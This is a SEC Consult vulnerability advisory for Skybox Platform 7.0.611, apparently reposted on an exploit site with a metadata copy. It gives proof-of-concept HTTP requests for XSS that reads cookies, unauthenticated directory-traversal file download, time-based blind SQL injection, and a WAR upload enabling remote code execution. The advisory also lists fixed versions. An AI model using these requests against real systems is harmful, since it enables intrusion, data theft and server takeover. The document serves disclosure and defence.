ID 1337DAY-ID-24701 Type zdt Reporter SEC Consult Modified 2015-12-11T00:00:00
Description
Exploit for hardware platform in category web applications
Skybox Platform 7.0.611 - Multiple Vulnerabilities
product: Skybox Platform
vulnerable version: <=7.0.611
fixed version: 7.5.401
homepage: www.skyboxsecurity.com/products/appliance
=======================================================================
Vendor description:
-------------------
"Skybox Security provides cutting-edge risk analytics for enterprise security
management. Our solutions give you complete network visibility, help you
eliminate attack vectors, and optimize your security management processes.
Protect the network and the business."
Source: http://www.skyboxsecurity.com/
Business recommendation:
------------------------
Attackers are able to perform Cross-Site Scripting and SQL Injection attacks
against the Skybox platform. Furthermore, it is possible for
unauthenticated attackers to download arbitrary files and execute arbitrary
code.
SEC Consult recommends the vendor to conduct a comprehensive security
analysis, based on security source code reviews, in order to identify all
available vulnerabilities in the Skybox platform and increase the security
of its customers.
Vulnerability overview/description:
-----------------------------------
1) Multiple Reflected Cross-Site Scripting Vulnerabilities
2) Multiple Stored Cross-Site Scripting Vulnerabilities
3) Arbitrary File Download and Directory Traversal Vulnerability
4) Blind SQL Injection Vulnerability
5) Remote Unauthenticated Code Execution
Proof of concept:
-----------------
1) Multiple Reflected Cross-Site Scripting Vulnerabilities
Multiple scripts are prone to reflected Cross-Site Scripting attacks.
The following example demonstrates this issue with the
service VersionRepositoryWebService:
POST /skyboxview/webservice/services/VersionRepositoryWebService HTTP/1.0
Content-type: text/plain
User-Agent: Axis/1.4
Host: localhost:8282
SOAPAction: ""
Content-Length: 863
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><ns1:checkV
ersion
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://com/skybox/view/webservice/versionrepositoryc4f85">&l
t;a
xmlns:a='http://www.w3.org/1999/xhtml'><a:body
onload='alert(1)'/></a>9884933253b"><components
soapenc:arrayType="soapenc:string[1]" xsi:type="soapenc:Array"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><components
xsi:type="soapenc:string">Application</components></components><os
xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">windows-64</os><curre
ntVersion
xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">7.0.601</currentVersi
on></ns1:checkVersion></soapenv:Body></soapenv:Envelope>
Other scripts and parameters, such as the parameter status of the login script
(located at https://localhost:444/login.html) are affected as well. The
following request demonstrates this issue:
https://localhost:444/login.html?status=%27%3C/script%3E%3Cscript%3Ealert%28doc
ument.cookie%29%3C/script%3E
2) Multiple Stored Cross-Site Scripting Vulnerabilities
Multiple fields of the Skybox Change Manager, which can be accessed at
https://localhost:8443/skyboxview/, are prone to stored Cross-Site Scripting
attacks. For example when creating a new ticket, the title can be misused
to insert JavaScript code. The following request to the server demonstrates
the issue:
Request:
POST /skyboxview/webskybox/tickets HTTP/1.1
Host: localhost:8443
[...]
7|0|18|https://localhost:8443/skyboxview/webskybox/|272....5E|com.skybox.view.g
wt.client.service.TicketsService|createAccessChangeTicket|com.skybox.view.trans
fer.netmodel.tickets.AccessChangeTicketData/1874789321|com.skybox.view.transfer
.modelview.ChangeRequestGraph/1577593632|com.skybox.view.transfer.netmodel.phas
es.BasePhaseOperation/3921542662|java.util.Collection|com.skybox.view.transfer.
netmodel.PhaseDefinitionId/3246549697|java.lang.String/2004016611|com.skybox.vi
ew.transfer.properties.PropertyBag/343216801|com.skybox.view.transfer.netmodel.
TicketWorkflowId/3953158119|com.skybox.view.transfer.netmodel.ConfigurationItem
Id/1448062761|com.skybox.view.transfer.netmodel.tickets.ChangeRequestRiskEnum/8
52682809||skyboxview|test"><img
src=yy onerror=alert(document.cookie) >|java.util.ArrayList/41
Other fields, like "Comments" and "Description", are affected as well.
3) Arbitrary File Download and Directory Traversal Vulnerability
Skybox Change Manager allows to upload and download attachments for tickets.
The download functionality can be exploited to download arbitrary files. No
authentication is required to exploit this vulnerability. The following
request demonstrates the issue:
POST /skyboxview/webskybox/attachmentdownload HTTP/1.1
Host: localhost:8443
tempShortFileName=aaaaaa&tempFileName=../../../../../../../../../../../windows/
win.ini
The script /skyboxview/webskybox/filedownload is also affected by the same
vulnerability.
Note: The upload functionality can also be used to upload files without
authentication.
4) Blind SQL Injection Vulnerability
Arbitrary SQL queries can be inserted into the service VersionWebService. The
following request demonstrates this issue with a simple sleep statement:
POST https://localhost:8443/skyboxview/webservice/services/VersionWebService
HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 619
Host: localhost:8443
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ver="http://com/skybox/view/webservice/version">
<soapenv:Header/>
<soapenv:Body>
<ver:getUserLockInSeconds
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">admin'+(select
* from (select(sleep(20)))a)+'</username>
</ver:getUserLockInSeconds>
</soapenv:Body>
</soapenv:Envelope>
No authentication is required to exploit this vulnerability.
5) Remote Unauthenticated Code Execution
It is possible to upload WAR files, containing for example JSP files, which
will be automatically deployed by the Skybox appliance. This way, it is
possible to upload a JSP shell which enables an attacker to execute arbitrary
commands running in the same context as the web server running (by default
skyboxview).
The following request to the Skyboxview update service (located at
https://localhost:9443) uploads a JSP file. It will be uploaded to
/opt/skyboxview/thirdparty/jboss/server/web/deploy where it is automatically
extracted and deployed at
/opt/skyboxview/thirdparty/jboss/server/web/work/jboss.web/localhost.
POST /skyboxview-softwareupdate/services/CollectorSoftwareUpdate HTTP/1.1
Accept-Encoding: gzip,deflate
SOAPAction: ""
Content-Type: multipart/related; type="text/xml";
start="<[email protected]>";
boundary="----=_Part_1_1636307031.1418103287783"
MIME-Version: 1.0
User-Agent: Jakarta Commons-HttpClient/3.1
Host: localhost:9443
Content-Length: 1944
------=_Part_1_1636307031.1418103287783
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: 8bit
Content-ID: <[email protected]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:sof="http://com/skybox/view/agent/webservice/softwareupdate">
<soapenv:Header/>
<soapenv:Body>
<sof:uploadPatch
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<patchName xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">../../thirdparty/jbos
s/server/web/deploy/helloworld2.war</patchName>
<patchData href="cid:helloworld.war"/>
</sof:uploadPatch>
</soapenv:Body>
</soapenv:Envelope>
------=_Part_1_1636307031.1418103287783
Content-Type: application/octet-stream; name=helloworld.war
Content-Transfer-Encoding: binary
Content-ID: <helloworld.war>
Content-Disposition: attachment; name="helloworld.war"; filename="helloworld.wa
r"
[binary]
Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in the Skybox platform
version 7.0.611, which was the most recent version at the time of discovery.
Vendor contact timeline:
------------------------
Communication with the vendor was handled by SEC Consult's client.
Solution:
---------
According to the release-notes, the issues have been fixed in the following
versions (reference number "19184"):
7.5.401: Reflected Cross-site scripting vulnerabilities
7.5.201: Remote Code Execution, SQL Injection, Arbitrary File Download and
Directory Traversal
Users of Skybox are advised to upgrade to version 7.5.401 or higher.
# 0day.today [2018-03-28] #
{"published": "2015-12-11T00:00:00", "id": "1337DAY-ID-24701", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for hardware platform in category web applications", "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2018-03-28T03:25:45", "rev": 2}, "dependencies": {"references": [], "modified": "2018-03-28T03:25:45", "rev": 2}, "vulnersScore": 0.2}, "type": "zdt", "lastseen": "2018-03-28T03:25:45", "edition": 2, "title": "Skybox Platform 7.0.611 - Multiple Vulnerabilities", "href": "https://0day.today/exploit/description/24701", "modified": "2015-12-11T00:00:00", "bulletinFamily": "exploit", "viewCount": 9, "cvelist": [], "sourceHref": "https://0day.today/exploit/24701", "references": [], "reporter": "SEC Consult", "sourceData": "Skybox Platform 7.0.611 - Multiple Vulnerabilities\r\n product: Skybox Platform\r\n vulnerable version: <=7.0.611\r\n fixed version: 7.5.401\r\n homepage: www.skyboxsecurity.com/products/appliance\r\n=======================================================================\r\n \r\nVendor description:\r\n-------------------\r\n\"Skybox Security provides cutting-edge risk analytics for enterprise security\r\nmanagement. Our solutions give you complete network visibility, help you\r\neliminate attack vectors, and optimize your security management processes.\r\nProtect the network and the business.\"\r\nSource: http://www.skyboxsecurity.com/\r\n \r\nBusiness recommendation:\r\n------------------------\r\nAttackers are able to perform Cross-Site Scripting and SQL Injection attacks\r\nagainst the Skybox platform. Furthermore, it is possible for\r\nunauthenticated attackers to download arbitrary files and execute arbitrary\r\ncode.\r\n \r\nSEC Consult recommends the vendor to conduct a comprehensive security\r\nanalysis, based on security source code reviews, in order to identify all\r\navailable vulnerabilities in the Skybox platform and increase the security\r\nof its customers.\r\n \r\nVulnerability overview/description:\r\n-----------------------------------\r\n1) Multiple Reflected Cross-Site Scripting Vulnerabilities\r\n2) Multiple Stored Cross-Site Scripting Vulnerabilities\r\n3) Arbitrary File Download and Directory Traversal Vulnerability\r\n4) Blind SQL Injection Vulnerability\r\n5) Remote Unauthenticated Code Execution\r\n \r\nProof of concept:\r\n-----------------\r\n1) Multiple Reflected Cross-Site Scripting Vulnerabilities\r\nMultiple scripts are prone to reflected Cross-Site Scripting attacks.\r\nThe following example demonstrates this issue with the\r\nservice VersionRepositoryWebService:\r\n \r\nPOST /skyboxview/webservice/services/VersionRepositoryWebService HTTP/1.0\r\nContent-type: text/plain\r\nUser-Agent: Axis/1.4\r\nHost: localhost:8282\r\nSOAPAction: \"\"\r\nContent-Length: 863\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><soapenv:Envelope\r\nxmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\nxmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\nxmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><soapenv:Body><ns1:checkV\r\nersion\r\nsoapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\nxmlns:ns1=\"http://com/skybox/view/webservice/versionrepositoryc4f85\">&l\r\nt;a\r\nxmlns:a='http://www.w3.org/1999/xhtml'><a:body\r\nonload='alert(1)'/></a>9884933253b\"><components\r\nsoapenc:arrayType=\"soapenc:string[1]\" xsi:type=\"soapenc:Array\"\r\nxmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\"><components\r\nxsi:type=\"soapenc:string\">Application</components></components><os\r\nxsi:type=\"soapenc:string\"\r\nxmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\">windows-64</os><curre\r\nntVersion\r\nxsi:type=\"soapenc:string\"\r\nxmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\">7.0.601</currentVersi\r\non></ns1:checkVersion></soapenv:Body></soapenv:Envelope>\r\n \r\nOther scripts and parameters, such as the parameter status of the login script\r\n(located at https://localhost:444/login.html) are affected as well. The\r\nfollowing request demonstrates this issue:\r\nhttps://localhost:444/login.html?status=%27%3C/script%3E%3Cscript%3Ealert%28doc\r\nument.cookie%29%3C/script%3E\r\n \r\n2) Multiple Stored Cross-Site Scripting Vulnerabilities\r\nMultiple fields of the Skybox Change Manager, which can be accessed at\r\nhttps://localhost:8443/skyboxview/, are prone to stored Cross-Site Scripting\r\nattacks. For example when creating a new ticket, the title can be misused\r\nto insert JavaScript code. The following request to the server demonstrates\r\nthe issue:\r\n \r\nRequest:\r\nPOST /skyboxview/webskybox/tickets HTTP/1.1\r\nHost: localhost:8443\r\n[...]\r\n7|0|18|https://localhost:8443/skyboxview/webskybox/|272....5E|com.skybox.view.g\r\nwt.client.service.TicketsService|createAccessChangeTicket|com.skybox.view.trans\r\nfer.netmodel.tickets.AccessChangeTicketData/1874789321|com.skybox.view.transfer\r\n.modelview.ChangeRequestGraph/1577593632|com.skybox.view.transfer.netmodel.phas\r\nes.BasePhaseOperation/3921542662|java.util.Collection|com.skybox.view.transfer.\r\nnetmodel.PhaseDefinitionId/3246549697|java.lang.String/2004016611|com.skybox.vi\r\new.transfer.properties.PropertyBag/343216801|com.skybox.view.transfer.netmodel.\r\nTicketWorkflowId/3953158119|com.skybox.view.transfer.netmodel.ConfigurationItem\r\nId/1448062761|com.skybox.view.transfer.netmodel.tickets.ChangeRequestRiskEnum/8\r\n52682809||skyboxview|test\"><img\r\nsrc=yy onerror=alert(document.cookie) >|java.util.ArrayList/41\r\n \r\nOther fields, like \"Comments\" and \"Description\", are affected as well.\r\n \r\n3) Arbitrary File Download and Directory Traversal Vulnerability\r\nSkybox Change Manager allows to upload and download attachments for tickets.\r\nThe download functionality can be exploited to download arbitrary files. No\r\nauthentication is required to exploit this vulnerability. The following\r\nrequest demonstrates the issue:\r\nPOST /skyboxview/webskybox/attachmentdownload HTTP/1.1\r\nHost: localhost:8443\r\ntempShortFileName=aaaaaa&tempFileName=../../../../../../../../../../../windows/\r\nwin.ini\r\n \r\nThe script /skyboxview/webskybox/filedownload is also affected by the same\r\nvulnerability.\r\n \r\nNote: The upload functionality can also be used to upload files without\r\nauthentication.\r\n \r\n4) Blind SQL Injection Vulnerability\r\nArbitrary SQL queries can be inserted into the service VersionWebService. The\r\nfollowing request demonstrates this issue with a simple sleep statement:\r\n \r\nPOST https://localhost:8443/skyboxview/webservice/services/VersionWebService\r\nHTTP/1.1\r\nAccept-Encoding: gzip,deflate\r\nContent-Type: text/xml;charset=UTF-8\r\nSOAPAction: \"\"\r\nContent-Length: 619\r\nHost: localhost:8443\r\nConnection: Keep-Alive\r\nUser-Agent: Apache-HttpClient/4.1.1 (java 1.5)\r\n<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\nxmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\nxmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\nxmlns:ver=\"http://com/skybox/view/webservice/version\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <ver:getUserLockInSeconds\r\nsoapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <username xsi:type=\"soapenc:string\"\r\nxmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\">admin'+(select\r\n* from (select(sleep(20)))a)+'</username>\r\n </ver:getUserLockInSeconds>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n \r\nNo authentication is required to exploit this vulnerability.\r\n \r\n5) Remote Unauthenticated Code Execution\r\nIt is possible to upload WAR files, containing for example JSP files, which\r\nwill be automatically deployed by the Skybox appliance. This way, it is\r\npossible to upload a JSP shell which enables an attacker to execute arbitrary\r\ncommands running in the same context as the web server running (by default\r\nskyboxview).\r\nThe following request to the Skyboxview update service (located at\r\nhttps://localhost:9443) uploads a JSP file. It will be uploaded to\r\n/opt/skyboxview/thirdparty/jboss/server/web/deploy where it is automatically\r\nextracted and deployed at\r\n/opt/skyboxview/thirdparty/jboss/server/web/work/jboss.web/localhost.\r\n \r\nPOST /skyboxview-softwareupdate/services/CollectorSoftwareUpdate HTTP/1.1\r\nAccept-Encoding: gzip,deflate\r\nSOAPAction: \"\"\r\nContent-Type: multipart/related; type=\"text/xml\";\r\nstart=\"<[email\u00a0protected]>\";\r\nboundary=\"----=_Part_1_1636307031.1418103287783\"\r\nMIME-Version: 1.0\r\nUser-Agent: Jakarta Commons-HttpClient/3.1\r\nHost: localhost:9443\r\nContent-Length: 1944\r\n \r\n------=_Part_1_1636307031.1418103287783\r\nContent-Type: text/xml; charset=UTF-8\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <[email\u00a0protected]>\r\n<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\nxmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\nxmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\nxmlns:sof=\"http://com/skybox/view/agent/webservice/softwareupdate\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <sof:uploadPatch\r\nsoapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <patchName xsi:type=\"soapenc:string\"\r\nxmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\">../../thirdparty/jbos\r\ns/server/web/deploy/helloworld2.war</patchName>\r\n<patchData href=\"cid:helloworld.war\"/>\r\n </sof:uploadPatch>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n------=_Part_1_1636307031.1418103287783\r\nContent-Type: application/octet-stream; name=helloworld.war\r\nContent-Transfer-Encoding: binary\r\nContent-ID: <helloworld.war>\r\nContent-Disposition: attachment; name=\"helloworld.war\"; filename=\"helloworld.wa\r\nr\"\r\n \r\n[binary]\r\n \r\nVulnerable / tested versions:\r\n-----------------------------\r\nThe vulnerabilities have been verified to exist in the Skybox platform\r\nversion 7.0.611, which was the most recent version at the time of discovery.\r\n \r\nVendor contact timeline:\r\n------------------------\r\nCommunication with the vendor was handled by SEC Consult's client.\r\n \r\nSolution:\r\n---------\r\nAccording to the release-notes, the issues have been fixed in the following\r\nversions (reference number \"19184\"):\r\n7.5.401: Reflected Cross-site scripting vulnerabilities\r\n7.5.201: Remote Code Execution, SQL Injection, Arbitrary File Download and\r\n Directory Traversal\r\n \r\nUsers of Skybox are advised to upgrade to version 7.5.401 or higher.\n\n# 0day.today [2018-03-28] #", "immutableFields": []}
